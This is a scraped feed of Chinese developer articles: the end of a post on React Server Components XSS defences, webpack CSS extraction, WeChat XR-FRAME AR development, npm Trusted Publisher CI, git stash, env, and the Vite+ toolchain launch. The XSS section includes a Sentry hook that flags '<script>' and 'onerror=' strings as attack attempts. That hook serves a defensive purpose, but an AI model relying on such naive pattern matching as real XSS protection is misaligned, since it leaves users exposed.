      - uses: actions/checkout@v2
      
      - name: Run npm audit
        run: npm audit --audit-level=moderate
      
      - name: Run Snyk
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

6.3 运行时监控

// 使用 Sentry 监控 XSS 攻击
import * as Sentry from '@sentry/nextjs';

Sentry.init({
  dsn: process.env.SENTRY_DSN,
  beforeSend(event) {
    // 检测可疑的 XSS 行为
    if (event.exception) {
      const error = event.exception.values[0];
      if (error.value.includes('<script>') || error.value.includes('onerror=')) {
        // 标记为潜在的 XSS 攻击
        event.tags = { ...event.tags, security: 'xss-attempt' };
      }
    }
    return event;
  }
});

七、总结

React Server Components XSS 漏洞的教训:

  1. 序列化要小心:JSON.stringify 不是万能的
  2. 信任边界:永远不要信任用户输入
  3. 纵深防御:多层防护,不依赖单一措施
  4. 及时更新:关注安全公告,及时升级

防御措施:

  • 输入验证和消毒
  • 输出转义
  • CSP 策略
  • HttpOnly Cookie
  • 自动化安全检查
  • 运行时监控

安全是一个持续的过程,不是一次性的工作。保持警惕,定期审查,及时更新。

如果这篇文章对你有帮助,欢迎点赞收藏。有问题欢迎评论区讨论。

mini-css-extract-plugin:生产环境 CSS 提取的最佳方案

作者 兆子龙
2026年3月16日 06:59

一、为什么需要提取 CSS

开发环境用 style-loader 将 CSS 注入到 JS 中很方便,但生产环境有问题:

  • CSS 包含在 JS 中,增加 JS 体积
  • CSS 无法并行加载
  • 无法利用浏览器缓存
  • 首屏渲染会闪烁(FOUC)

mini-css-extract-plugin 可以将 CSS 提取到独立文件。


二、基础配置

安装

npm install --save-dev mini-css-extract-plugin

webpack 配置

const MiniCssExtractPlugin = require('mini-css-extract-plugin');

module.exports = {
  module: {
    rules: [
      {
        test: /\.css$/,
        use: [
          MiniCssExtractPlugin.loader,  // 替换 style-loader
          'css-loader'
        ]
      }
    ]
  },
  plugins: [
    new MiniCssExtractPlugin({
      filename: '[name].[contenthash:8].css'
    })
  ]
};

三、环境区分

开发环境用 style-loader(支持 HMR),生产环境用 MiniCssExtractPlugin。

const isDev = process.env.NODE_ENV === 'development';

module.exports = {
  module: {
    rules: [
      {
        test: /\.css$/,
        use: [
          isDev ? 'style-loader' : MiniCssExtractPlugin.loader,
          'css-loader'
        ]
      }
    ]
  },
  plugins: [
    !isDev && new MiniCssExtractPlugin({
      filename: 'css/[name].[contenthash:8].css'
    })
  ].filter(Boolean)
};

四、配置选项

new MiniCssExtractPlugin({
  // 输出文件名
  filename: '[name].[contenthash:8].css',
  
  // 异步 chunk 的文件名
  chunkFilename: '[id].[contenthash:8].css',
  
  // 是否在运行时插入 <link> 标签
  insert: '#some-element',
  
  // 自定义属性
  attributes: {
    id: 'my-css',
    'data-target': 'head'
  },
  
  // 移除 Order 警告
  ignoreOrder: false
})

五、CSS 压缩

使用 css-minimizer-webpack-plugin 压缩 CSS。

npm install --save-dev css-minimizer-webpack-plugin
const CssMinimizerPlugin = require('css-minimizer-webpack-plugin');

module.exports = {
  optimization: {
    minimizer: [
      '...',  // 保留默认的 JS 压缩
      new CssMinimizerPlugin()
    ]
  }
};

六、代码分割

按入口分割

module.exports = {
  entry: {
    home: './src/home.js',
    about: './src/about.js'
  },
  plugins: [
    new MiniCssExtractPlugin({
      filename: '[name].css'
    })
  ]
};

// 输出:home.css, about.css

按路由分割

// 动态导入
const Home = lazy(() => import('./Home'));
const About = lazy(() => import('./About'));

// 每个路由的 CSS 会被提取到独立文件

七、HMR 支持

mini-css-extract-plugin 在开发环境也支持 HMR,但需要配置。

module.exports = {
  module: {
    rules: [
      {
        test: /\.css$/,
        use: [
          {
            loader: MiniCssExtractPlugin.loader,
            options: {
              hmr: process.env.NODE_ENV === 'development'
            }
          },
          'css-loader'
        ]
      }
    ]
  }
};

八、完整配置示例

const MiniCssExtractPlugin = require('mini-css-extract-plugin');
const CssMinimizerPlugin = require('css-minimizer-webpack-plugin');

const isDev = process.env.NODE_ENV === 'development';

module.exports = {
  mode: isDev ? 'development' : 'production',
  module: {
    rules: [
      {
        test: /\.css$/,
        use: [
          isDev ? 'style-loader' : MiniCssExtractPlugin.loader,
          'css-loader',
          'postcss-loader'
        ]
      },
      {
        test: /\.scss$/,
        use: [
          isDev ? 'style-loader' : MiniCssExtractPlugin.loader,
          'css-loader',
          'postcss-loader',
          'sass-loader'
        ]
      }
    ]
  },
  plugins: [
    !isDev && new MiniCssExtractPlugin({
      filename: 'css/[name].[contenthash:8].css',
      chunkFilename: 'css/[id].[contenthash:8].css'
    })
  ].filter(Boolean),
  optimization: {
    minimizer: [
      '...',
      new CssMinimizerPlugin({
        minimizerOptions: {
          preset: [
            'default',
            {
              discardComments: { removeAll: true }
            }
          ]
        }
      })
    ]
  }
};

微信小程序开发01:XR-FRAME的快速上手

作者 海石
2026年3月16日 02:06

一、前言

最近要基于微信小程序实现一个具备AR功能的APP,在进行技术选型时,发现小程序本身自带了XR-FRAME这个框架,

image.png

从描述上来看:

image.png

没有比它更“合适”的,用来进行AR功能开发的框架了 本来想使用 Vibe Coding 无痛完成开发,但是却在实际使用中,发现大模型写不太来 wxml<xr-...>相关的代码

于是在此开了一个系列文章,用来记录我遇到的坑 😓

二、从 1 到 1.x

个人的建议,一开始不从0到1,而是从1到1.x即基于现有的demo二次开发一个

否则,如果想在学习完下方所有<xr->相关的基础元素,再开始代码编写,着实头疼

image.png

官方文档里提供了扫码即可查看的示例

image.png

不过呢,没放源码的链接,这边我通过github找到了大概就是官方文档示例的源码仓库,地址如下:

dtysky/xr-frame-demo: Demos for xr-frame system in wx-mini-program.

image.png

运行后的效果如下:

image.png

三、动手试试

需求背景:我期望实现一个基础的AR功能,即扫描一张自定义的图片,然后能够出现一个自定义的元素

编码工具:Trae-CN

3.1 如何用【Trae】帮忙编写【微信开发者工具】里的工程代码

习惯了vibe coding后,【微信开发者工具】并不像VSCODE一样,也不能说通过IDEA插件的方式安装AI IDE工具 多少有点寸步难行,真的不想 古法编程 😭


其实很简单,在【微信开发者工具】里新建一个工程之后

image.png

在Trae里打开此工程即可

image.png

image.png

然后Trae里写代码,【微信开发者工具】里负责 编译 即可

3.2 基于现有页面完成自定义改造

我们将刚刚git clone下来的项目的源码直接替换掉新建的示例工程的代码,

image.png 然后运行它,选择下方标签

image.png 然后再选择此功能页

image.png

可以看到,此功能页的实际效果,就符合了我们在本章节初的需求背景

1e49e907220497e2a7e6b6be7a4de161.jpg

扫描具体的某一张图片(鹿的图片),然后出现自定义元素(蝴蝶)

我们快速在源码中定位到相关页面的

image.png

但是却发现怎么JS里面几乎是空的?

image.png

查阅文档后我们明白behaviors有点类似 Vue 中的mixins

image.png 那显然,我们暂时不用关心sceneReadyBehavior中到底有什么

接着看别的文件,我们发现了在JSON中的这个

image.png

一开始我没仔细看,我还纳闷为什么这个组件还要引用自己 😓

image.png

然后才发现这里命名都很一致,不过一个是 pages/... 一个是 components/... 😓

不过也可以取巧,试着🎲赌一下被识别的图片名称和官网示例的链接是一致的

image.png

你还真别说,还真的一致,😀

image.png 这种另辟蹊径的方式,也能帮我这位老眼昏花的人,找到核心JS代码的位置 miniprogram\components\template\xr-template-markerLock\index.js image.png

3.3 资源替换

3.3.1 识别图替换

由于微信小程序对打包上传的代码有严格的大小限制,不超过2MB,

image.png

🙅‍因此图方便使用静态图片放在工程里,走不通

这里我用某云的对象存储解决这个问题,提供一个公有读,私有写的链接即可

不过说个题外话,我发现生成的链接粘贴到浏览器里会触发立刻下载,

image.png

而不是和微信官网示例的鹿的图片一样,可以网页预览

image.png

好奇的同时去学习了一下,发现是 Header 的问题, 我们设置 Content-Dispositioninline 即可实现网页预览了

image.png

3.3.2 展示元素替换

我期望将原来的模型换成视频,这时候就可以利用Tare基于工程上下文去帮我们实现,同样运行demo工程 找到应用视频的页面,定位到源码位置

image.png

image.png

image.png

我们不需要去了解 xr.XRGLTF 切换到 xr.XRMesh 需要注意什么,Trae 会去了解的

3.3.3 成果

微信视频2026-03-16_015939_400 00_00_00-00_00_07.gif

四、总结

在本篇文章,我们实现了最基础的AR功能,在下一篇文章,我们会将模型、视频、图片相结合,实现拥有更多功能的AR页面。

DocsJS npmjs 自动化发布复盘(Trusted Publisher)

作者 叶梅树
2026年3月15日 23:38

DocsJS npmjs 自动化发布复盘(Trusted Publisher)

本文是 @coding01/docsjs@coding01/docsjs-editor@coding01/docsjs-markdown 的发布复盘与最终标准方案。目标是:后续发布只走一条稳定路径,不再重复踩坑。

产品矩阵与链接、

image.png

1) @coding01/docsjs(核心引擎)

Word/DOCX 高保真导入与渲染核心,提供 Web Component + React/Vue 适配能力。

  1. 官网:docsjs.coding01.cn/
  2. GitHub:github.com/fanly/docsj…
  3. npmjs:www.npmjs.com/package/@co…

2) @coding01/docsjs-editor(编辑器桥接层)

面向多编辑器(如 CKEditor/Tiptap 等)的集成桥接层,负责快照注入、读回与适配切换。

  1. GitHub:github.com/fanly/docsj…
  2. npmjs:www.npmjs.com/package/@co…

3) @coding01/docsjs-markdown(Markdown 转换层)

将 docsjs HTML 快照或 DOCX 转换为 Markdown(Standard/GFM/frontmatter)。

  1. 产品页:fanly.github.io/docsjs-mark…
  2. GitHub:github.com/fanly/docsj…
  3. npmjs:www.npmjs.com/package/@co…

1. 最终发布架构

只保留一条 npmjs 发布链路:

  1. Git tag 触发:v*.*.*
  2. GitHub Actions workflow:.github/workflows/publish.yml
  3. npm Trusted Publisher(OIDC)签发并发布
  4. npm publish --provenance --access public

明确禁止:

  1. ci.yml 里再做第二条发布路径
  2. 混用 NPM_TOKEN 和 Trusted Publisher
  3. 同时维护多个“看起来都能发布”的 workflow

2. 这次踩到的关键问题

问题 A:E404 Not Found - PUT https://registry.npmjs.org/@coding01%2fdocsjs

现象:

  • 构建、测试、verify 全通过
  • publish 阶段报 E404

根因:

  • 包级 Trusted Publisher 绑定和实际 OIDC 身份不匹配,或存在脏配置。

验证方法:

  1. 在 workflow 中打印 OIDC claims(sanitized):
    • sub
    • repository
    • workflow_ref
    • job_workflow_ref
    • ref
  2. 用 claims 对照 npm 包页面的 Trusted Publisher 配置逐字段比对。

问题 B:ENEEDAUTH This command requires you to be logged in

现象:

  • CI 中报需要 npm adduser

根因:

  • ci.yml 里残留了 token 发布 job(NODE_AUTH_TOKEN 指向仓库 secret NPM_TOKEN),不是 Trusted Publisher 路径。

修复:

  1. 删除 ci.yml 里的发布 job
  2. 发布只由 publish.yml 负责

问题 C:CI workflow 无效

现象:

  • Invalid workflow file
  • (Line: 9): Unexpected value 'tag'

根因:

  • YAML 触发字段写错:tag 应为 tags(在 push 下)。

问题 D:Linting could not start

现象:

  • vp check 报 lint 无法启动

处理策略:

  1. 拆分检查职责,避免重复启动 lint:
    • lint: vp lint .
    • fmt:check: vp check --no-lint
    • typecheck: vp exec tsc --noEmit
  2. verify 改为串联上述步骤,降低工具链并发冲突概率。

3. 当前标准配置(必须保持)

3.1 publish.yml

要求:

  1. permissions 包含 id-token: write
  2. on.push.tagsv*.*.*
  3. npm ci + npm run verify
  4. 仅执行 npm publish --provenance --access public

3.2 ci.yml

要求:

  1. 只做质量检查(lint/fmt/typecheck/test/build)
  2. 不做 npm 发布

3.3 package.json

建议:

  1. 保留 publishConfig.access=public
  2. prepublishOnlyverify
  3. prepare 在 CI 中应可安全跳过(避免发布时副作用)

4. 发布前检查清单(实战)

每次发版前按顺序执行:

  1. 本地:
    • npm run verify
  2. 包信息:
    • nameversionfilesexports 正确
  3. Git:
    • package.json 版本与 tag 一致
    • git tag vX.Y.Z
  4. npm 包页面:
    • Trusted Publisher 指向正确 repo + workflow filename
  5. Actions:
    • 只有 publish.yml 执行发布

5. 故障快速定位流程

如果发布失败,按这个顺序排:

  1. 先看失败 step:
    • Verify 失败:先修代码/脚本
    • Publish 失败:优先查 npm 权限或 Trusted Publisher 绑定
  2. 看错误码:
    • E404:通常是 TP 绑定不匹配/权限隐藏
    • ENEEDAUTH:说明走了 token 登录路径,不是 TP 路径
  3. 看 OIDC claims:
    • 逐字段比对 repository/workflow_ref/ref/sub

6. 结论

正确做法不是“多加一条兜底发布”,而是保证发布链路唯一、可观测、可复现:

  1. CI 只做质量门
  2. publish workflow 只做 Trusted Publisher 发布
  3. 所有失败都能映射到单一责任面(代码、workflow、npm 绑定)

按本文执行,可以稳定避免本轮出现过的 E404ENEEDAUTH、workflow 语法错误和 lint 启动异常。

附录:三个产品入口

  1. docsjs: GitHub | npmjs | 官网
  2. docsjs-editor: GitHub | npmjs
  3. docsjs-markdown: GitHub | npmjs | 产品页

git stash: Save and Restore Uncommitted Changes

When you are in the middle of a feature and need to switch branches to fix a bug or review someone else’s work, you have a problem: your changes are not ready to commit, but you cannot switch branches with a dirty working tree. git stash solves this by saving your uncommitted changes to a temporary stack so you can restore them later.

This guide explains how to use git stash to save, list, apply, and delete stashed changes.

Basic Usage

The simplest form saves all modifications to tracked files and reverts the working tree to match the last commit:

Terminal
git stash
output
Saved working directory and index state WIP on main: abc1234 Add login page

Your working tree is now clean. You can switch branches, pull updates, or apply a hotfix. When you are ready to return to your work, restore the stash.

By default, git stash saves both staged and unstaged changes to tracked files. It does not save untracked or ignored files unless you explicitly include them (see below).

Stashing with a Message

A plain git stash entry shows the branch and last commit message, which becomes hard to read when you have multiple stashes. Use -m to attach a descriptive label:

Terminal
git stash push -m "WIP: user authentication form"

This makes it easy to identify the right stash when you list them later.

Listing Stashes

To see all saved stashes, run:

Terminal
git stash list
output
stash@{0}: On main: WIP: user authentication form
stash@{1}: WIP on main: abc1234 Add login page

Stashes are indexed from newest (stash@{0}) to oldest. The index is used when you want to apply or drop a specific stash.

To inspect the contents of a stash before applying it, use git stash show:

Terminal
git stash show stash@{0}

Add -p to see the full diff:

Terminal
git stash show -p stash@{0}

Applying Stashes

There are two ways to restore a stash.

git stash pop applies the most recent stash and removes it from the stash list:

Terminal
git stash pop

git stash apply applies a stash but keeps it in the list so you can apply it again or to another branch:

Terminal
git stash apply

To apply a specific stash by index, pass the stash reference:

Terminal
git stash apply stash@{1}

If applying the stash causes conflicts, resolve them the same way you would resolve a merge conflict, then stage the resolved files.

Stashing Untracked and Ignored Files

By default, git stash only saves changes to files that Git already tracks. New files you have not yet staged are left behind.

Use -u (or --include-untracked) to include untracked files:

Terminal
git stash -u

To include both untracked and ignored files — for example, generated build artifacts or local config files — use -a (or --all):

Terminal
git stash -a

Partial Stash

If you only want to stash some of your changes and leave others in the working tree, use the -p (or --patch) flag to interactively select which hunks to stash:

Terminal
git stash -p

Git will step through each changed hunk and ask whether to stash it. Type y to stash the hunk, n to leave it, or ? for a full list of options.

Creating a Branch from a Stash

If you have been working on a stash for a while and the branch has diverged enough to cause conflicts on apply, you can create a new branch from the stash directly:

Terminal
git stash branch new-branch-name

This creates a new branch, checks it out at the commit where the stash was originally made, applies the stash, and drops it from the list if it applied cleanly. It is the safest way to resume stashed work that has grown out of sync with the base branch.

Deleting Stashes

To remove a specific stash once you no longer need it:

Terminal
git stash drop stash@{0}

To delete all stashes at once:

Terminal
git stash clear

Use clear with care — there is no undo.

Quick Reference

For a printable quick reference, see the Git cheatsheet .

Command Description
git stash Stash staged and unstaged changes
git stash push -m "message" Stash with a descriptive label
git stash -u Include untracked files
git stash -a Include untracked and ignored files
git stash -p Interactively choose what to stash
git stash list List all stashes
git stash show stash@{0} Show changed files in a stash
git stash show -p stash@{0} Show full diff of a stash
git stash pop Apply and remove the latest stash
git stash apply stash@{0} Apply a stash without removing it
git stash branch branch-name Create a branch from the latest stash
git stash drop stash@{0} Delete a specific stash
git stash clear Delete all stashes

FAQ

What is the difference between git stash pop and git stash apply?
pop applies the stash and removes it from the stash list. apply restores the changes but keeps the stash entry so you can apply it again — for example, to multiple branches. Use pop for normal day-to-day use and apply when you need to reuse the stash.

Does git stash save untracked files?
No, not by default. Run git stash -u to include untracked files, or git stash -a to also include files that match your .gitignore patterns.

Can I stash only specific files?
Yes. In modern Git, you can pass pathspecs to git stash push, for example: git stash push -m "label" -- path/to/file. If you need a more portable workflow, use git stash -p to interactively select which hunks to stash.

How do I recover a dropped stash?
If you accidentally ran git stash drop or git stash clear, the underlying commit may still exist for a while. Run git fsck --no-reflogs | grep "dangling commit" to list unreachable commits, then git show <hash> to inspect them. If you find the right stash commit, you can recreate it with git stash store -m "recovered stash" <hash> and then apply it normally.

Can I apply a stash to a different branch?
Yes. Switch to the target branch with git switch branch-name, then run git stash apply stash@{0}. If there are no conflicts, the changes are applied cleanly. If the branches have diverged significantly, consider git stash branch to create a fresh branch from the stash instead.

Conclusion

git stash is the cleanest way to set aside incomplete work without creating a throwaway commit. Use git stash push -m to keep your stash list readable, prefer pop for one-time restores, and use git stash branch when applying becomes messy. For a broader overview of Git workflows, see the Git cheatsheet or the git revert guide .

env Cheatsheet

Basic Syntax

Core env command forms.

Command Description
env Print the current environment
env --help Show available options
env --version Show the installed env version
env -0 Print variables separated with NUL bytes

Inspect Environment Variables

Use env with filters to inspect specific variables.

Command Description
`env sort`
`env grep ‘^PATH='`
`env grep ‘^HOME='`
`env grep ‘^LANG='`

Run Commands with Temporary Variables

Set variables for one command without changing the current shell session.

Command Description
VAR=value env command Run one command with a temporary variable
VAR1=dev VAR2=1 env command Set multiple temporary variables
env PATH=/custom/bin:$PATH command Override PATH for one command
env LANG=C command Run a command with the C locale
env HOME=/tmp bash Start a shell with a temporary home directory

Clean or Remove Variables

Start with a minimal environment or remove selected variables.

Command Description
env -i command Run a command with an empty environment
env -i PATH=/usr/bin:/bin bash --noprofile --norc Start a mostly clean shell with a minimal PATH
env -u VAR command Run a command without one variable
env -u http_proxy command Remove a proxy variable for one command
env -i VAR=value command Run a command with only the variables you set explicitly

Common Variables

These variables are often inspected or overridden with env.

Variable Description
PATH Directories searched for commands
HOME Current user’s home directory
USER Current user name
SHELL Default login shell
LANG Locale and language setting
TZ System timezone (e.g. America/New_York)
EDITOR Default text editor
TERM Terminal type (e.g. xterm-256color)
TMPDIR Directory for temporary files
PWD Current working directory

Troubleshooting

Quick checks for common env issues.

Issue Check
A temporary variable does not persist env VAR=value command affects only that command and its children
A command is not found after env -i Add a minimal PATH, such as /usr/bin:/bin
Output is hard to parse safely Use env -0 with tools that support NUL-delimited input
A variable is still visible in the shell env does not modify the parent shell; use export or unset the variable in the shell itself
A locale-sensitive command behaves differently Check whether LANG or related locale variables were overridden

Related Guides

Use these guides for broader environment-variable workflows.

Guide Description
How to Set and List Environment Variables in Linux Full guide to listing and setting environment variables
export Command in Linux Export shell variables to child processes
Bashrc vs Bash Profile Understand shell startup files
Bash cheatsheet Quick reference for Bash syntax and variables
昨天 — 2026年3月15日技术

《实时渲染》第3章-图形处理单元-3.7几何着色器

作者 charlee44
2026年3月15日 21:52

实时渲染

3. 图形处理单元

3.7 几何着色器

几何着色器可以将图元转换为其他图元,这是曲面细分阶段无法做到的。例如,可以通过让每个三角形创建线边将三角形网格转换为线框视图。或者,线条可以被面向观察者的四边形替换,因此制作具有较厚边缘的线框渲染[1492]。随着DirectX 10的发布,几何着色器在2006年末随着DirectX 10的发布被添加到硬件加速图形管线中。它位于管道中的曲面细分着色器之后,它的使用是可选的。虽然它是Shader Model 4.0的必需部分,但在早期的着色器模型中并未使用。OpenGL 3.2和OpenGL ES 3.2也支持这种类型的着色器。

几何着色器的输入是单个对象及其关联的顶点。对象通常由带状三角形、线段或简单的点组成。几何着色器可以定义和处理扩展图元。特别是,可以传入三角形外的三个附加顶点,可以使用折线上的两个相邻顶点。见图3.12。使用DirectX 11和Shader Model 5.0,您可以传入更精细的面片,最多有32个控制点。也就是说,曲面细分阶段对于面片生成更有效[175]。

图3.12. 几何着色器程序的几何着色器输入是某种单一类型:点、线段、三角形。最右边的两个图元包括与线和三角形对象相邻的顶点。更复杂的面片类型是可能的。

几何着色器处理该图元并输出零个或多个顶点,这些顶点被视为点、折线或三角形条带。请注意,几何着色器根本无法生成任何输出。通过这种方式,可以通过编辑顶点、添加新图元和删除其他图元来有选择地修改网格。

几何着色器旨在修改传入数据或制作有限数量的副本。例如,一种用途是生成六个转换后的数据副本,以同时渲染立方体贴图的六个面;详见第10.4.3节。 它还可以用于高效地创建级联阴影贴图以生成高质量的阴影。利用几何着色器的其他算法包括从点数据创建可变大小的粒子、沿着轮廓挤出翅片以进行毛发渲染,以及找出物体边缘的阴影算法。更多示例请参见图3.13。本书的其余部分将讨论这些和其他用途。

图3.13. 几何着色器(GS)的一些用途。在左侧,使用GS即时执行元球等值面细分。在中间,使用GS完成线段的分形细分并输出,并且由GS生成广告牌以显示闪电。在右侧,布料模拟是通过使用带有流输出的顶点和几何着色器来执行的。(来自 NVIDIA SDK 10 [1300]示例的图像,由NVIDIA Corporation提供。)

DirectX 11添加了几何着色器使用实例化的能力,其中几何着色器可以在任何给定的图元上运行一定次数[530, 1971]。在OpenGL 4.0中,这是用调用计数指定的。几何着色器还可以输出最多四个流。一个流可以向下发送到渲染管线以进行进一步处理。所有这些流都可以选择发送到流输出渲染目标。

几何着色器保证以与输入相同的顺序输出图元的结果。这会影响性能,因为如果多个着色器内核并行运行,则必须保存和排序结果。这个和其他因素不利于几何着色器用于在单个调用中复制或创建大量几何体[175, 530]。

在发出绘制调用后,管线中只有三个地方可以在GPU上创建工作:光栅化、细分阶段和几何着色器。其中,考虑到所需的资源和内存,几何着色器的行为是最不可预测的,因为它是完全可编程的。在实践中,几何着色器通常用处不大,因为它不能很好地映射到GPU的优势。在某些移动设备上,它是用软件实现的,因此在移动端不鼓励使用它[69]。

3.7.1 流输出

GPU管线的标准用途是通过顶点着色器发送数据,然后光栅化生成的三角形并在像素着色器中处理它们。过去数据总是通过管线传递,无法访问中间结果。流输出的概念是在Shader Model 4.0中引入的。在顶点着色器(以及可选的曲面细分和几何着色器)处理顶点之后,除了被发送到光栅化阶段之外,它们还可以以流的形式输出,即有序数组。事实上,可以完全关闭光栅化,然后将管线纯粹用作非图形流处理器。以这种方式处理的数据可以通过管线发回,从而允许迭代处理。这种类型的操作对于模拟流动的水或其他粒子效应非常有用,如第13.8节所述。它还可以用于为模型蒙皮,然后让这些顶点可重复使用(第4.4节)。

流输出仅以浮点数的形式返回数据,因此它可能具有显着的内存成本。流输出适用于图元,而不是直接适用于顶点。如果网格沿着管线发送,每个三角形都会生成自己的一组三个输出顶点。原始网格中的任何顶点共享都将丢失。出于这个原因,一个更典型的用途是将顶点作为点集图元通过管线发送。在OpenGL中,流输出阶段称为变换反馈,因为它的大部分使用重点是变换顶点并返回它们以供进一步处理。图元保证按照它们输入的顺序发送到流输出目标,这意味着顶点顺序将被保持[530]。

尤雨溪宣布 Vite+ 正式开源,前端工具链要大一统了

作者 Moment
2026年3月15日 19:47

我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于 Tiptap 的富文本编辑器、NestJs 后端服务、AI 集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了 Tiptap 的深度定制、性能优化和协作功能的实现等核心难点。

如果你对 AI 全栈开发、Tiptap 富文本编辑器定制或 DocFlow 项目的完整技术方案感兴趣,欢迎加我微信 yunmz777 进行私聊咨询,获取详细的技术分享和最佳实践。

如果你对 AI全栈 感兴趣,也欢迎添加我微信,我拉你进交流群

3 月 13 日深夜,尤雨溪在 X 上发了一条推文,平静地宣布了一件大事。

We are happy to announce that Vite+ is now fully open source under MIT license. Free for everyone!

20260315094604

Vite+ 以 MIT 协议全量开源,所有人免费使用。官网已经上线,地址是 viteplus.dev

如果说 Vite 8 的发布是"换了个引擎",那 Vite+ 的开源就是直接掀了桌子。它不是 Vite 的升级版,而是一个全新的物种,一个二进制文件,吃掉你整条前端工具链。

Vite+ 到底是什么

官网给出的定位很直白,"The Unified Toolchain for the Web"。

一句话来说,Vite+ 是一个统一的 Web 开发工具链,把 ViteVitestOxlintOxfmtRolldowntsdownVite Task 七个项目合并成了一个 CLI,命令叫 vp

它的野心不小。管构建,管运行时,管包依赖,管代码检查,管格式化,管测试,管打包发布,甚至管 monorepo 的任务编排。以前你需要 npmpnpmViteESLintPrettierJestnvm 各自配置、各自维护,现在一个 vp 全包了。

值得注意的是,Vite+ 是两段式设计:vp 是全局安装的命令行工具,vite-plus 是每个项目里安装的本地包。这两者协同工作,vp 负责统一入口,vite-plus 负责具体的构建逻辑。

image.png

完整命令地图

vp 的命令覆盖了开发全流程,分成几个维度来看:

启动和初始化

命令 做什么
vp create 创建新项目(支持 app、包、monorepo 模板)
vp migrate 把现有项目迁移到 Vite+
vp env 管理 Node.js 版本
vp install 用正确的包管理器安装依赖
vp config 配置 commit hooks 和 agent 集成

日常开发

命令 做什么 替代谁
vp dev 开发服务器,即时 HMR vite dev
vp check 类型检查 + Lint + 格式化 tscESLintPrettier
vp lint 单独运行 Lint ESLint
vp fmt 单独运行格式化 Prettier
vp test 运行测试 JestVitest
vp staged 对暂存文件跑检查 lint-staged

构建和发布

命令 做什么 替代谁
vp build 生产构建 vite build
vp preview 本地预览生产构建 vite preview
vp pack 库打包 + DTS 生成 tsuptsdown
vp run monorepo 任务执行(带缓存) turboreponx

依赖管理

命令 做什么
vp add / vp remove / vp update 包管理操作
vp dedupe / vp outdated / vp why 依赖分析
vp dlx 不安装直接运行包(类似 npx
vpx 全局执行二进制

还有一个彩蛋命令,vp implode,它会把 vp 本身和所有相关数据从机器上清除干净,如果用了之后觉得不适合自己,一条命令可以走得一干二净。

官网 viteplus.dev 首页的终端示例里,用 vp create acme-web --template react-ts 创建 React + TypeScript 项目,从脚手架生成到依赖安装完成,显示耗时 1.1 秒。

性能数字很夸张

Vite+ 的底层全部用 Rust 重写,官方给出的性能对比数据:

  • 生产构建比 webpack 快 40 倍(基于 Vite 8 + Rolldown
  • OxlintESLint 快 50 到 100 倍
  • OxfmtPrettier 快 30 倍
  • 开发时 HMR 始终保持即时响应

这些数字不是 Vite+ 团队自己编的。OxlintOxfmtOxc 项目里已经跑了很久的 benchmark,社区早有验证。Vite+ 做的事是把这些分散的高性能工具统一到了一个入口。

vp check 不只是 Lint

vp check 是这个工具链里设计最有意思的命令之一,值得单独说说。

它把三件事合进一个命令:Oxfmt 负责格式化,Oxlint 负责代码检查,tsgolint 负责 TypeScript 类型检查。三个工具并行跑,比分别执行快得多。

当你在 vite.config.ts 里开启 typeCheck 选项后,vp check 还会接入 TypeScript Go 工具链做类型感知的静态分析,这是微软正在推进的下一代 TypeScript 编译器,速度比原来的 tsc 快了一个数量级。

import { defineConfig } from 'vite-plus'

export default defineConfig({
  lint: {
    options: {
      typeAware: true,
      typeCheck: true,
    },
  },
})

开启之后,一条 vp check 就能搞定格式、Lint、类型三重检查。加上 --fix 参数还能自动修复可修复的问题:

vp check        # 检查
vp check --fix  # 检查并自动修复

一个配置文件管所有

以前的前端项目,配置文件能铺满项目根目录,vite.config.ts.eslintrc.prettierrcvitest.config.tstsconfig.jsonlint-staged.config.js……

Vite+ 的做法是把所有配置收拢到一个 vite.config.ts

import { defineConfig } from 'vite-plus'

export default defineConfig({
  // 开发服务器
  server: { port: 3000 },

  // Oxlint 规则
  lint: {
    options: {
      typeAware: true,
      typeCheck: true,
    },
  },

  // Oxfmt 格式化
  fmt: { /* ... */ },

  // Vitest 测试
  test: { /* ... */ },

  // 任务编排
  tasks: { /* ... */ },

  // commit 前的暂存检查(替代 lint-staged)
  staged: {
    '*.{js,ts,tsx,vue,svelte}': 'vp check --fix',
  },

  // 库打包(替代 tsdown.config.ts)
  pack: {
    entry: ['src/index.ts'],
    dts: true,
    format: ['esm', 'cjs'],
  },
})

一个文件,一套类型提示,一个 IDE 插件搞定所有配置的智能补全。对于强迫症开发者来说,这可能比性能提升更让人兴奋。

vp env 能精细管理 Node 版本

nvm 的用户应该对这种场景很熟悉,不同项目需要不同版本的 Node,切换还容易忘。

vp env 的设计是让 nodenpm 等命令都通过 Vite+ 的 shim 来走,自动识别当前项目锁定的 Node 版本,无需手动切换。

常用命令:

vp env pin lts          # 把项目锁定到最新 LTS 版本(写入 .node-version)
vp env use 20           # 当前 shell 会话临时切换到 Node 20
vp env default lts      # 设置全局默认版本
vp env current          # 查看当前解析到的环境
vp env doctor           # 运行环境诊断,排查问题
vp env list             # 列出本地已安装的版本
vp env list-remote --lts  # 查看可安装的 LTS 版本列表

如果你不想让 Vite+ 接管 Node 版本管理,可以用 vp env off 切到"系统优先"模式,Vite+ 只在系统 Node 找不到时才接管。

现有项目怎么迁移

这是官网里最有价值的部分之一,也是原文没有覆盖到的内容。

对于已有的 Vite 项目,迁移命令是:

vp migrate

这条命令会自动完成:把各个工具的分散配置合并进 vite.config.ts,更新项目依赖,重写 vitevitest 的导入路径,更新 package.json 里的 scripts。

官方建议的迁移前准备:先升级到 Vite 8+ 和 Vitest 4.1+,了解现有的 Lint、格式化、测试配置。迁移后跑一遍验证:

vp install
vp check
vp test
vp build

有意思的一个细节,官网的迁移文档里提供了一段专门写给 AI 编码助手的 migration prompt,可以直接粘贴给 Cursor 或 Claude 来代劳整个迁移过程。这说明 Vite+ 团队在设计工具时已经把 AI 辅助开发纳入考虑了。

不止是 Vue 生态的事

Vite+ 支持的框架列表相当长,包括 ReactVueSvelteSolidAstroNuxtNext.jsRemix,官网列了超过 20 个框架。

这意味着它不是"Vue 生态的专属工具"。任何前端框架的开发者都可以用,而且迁移成本几乎为零,因为底层就是 Vite,现有的 Vite 插件理论上都能直接用。

部署方面,Vite+ 可以与 Nitro 配合,直接部署到 VercelNetlifyCloudflareRender 等平台,从 SPA 到全栈 meta 框架都有完整支持。

怎么装

macOS 或 Linux 下:

curl -fsSL https://vite.plus | bash

Windows(PowerShell)下:

irm https://vite.plus/ps1 | iex

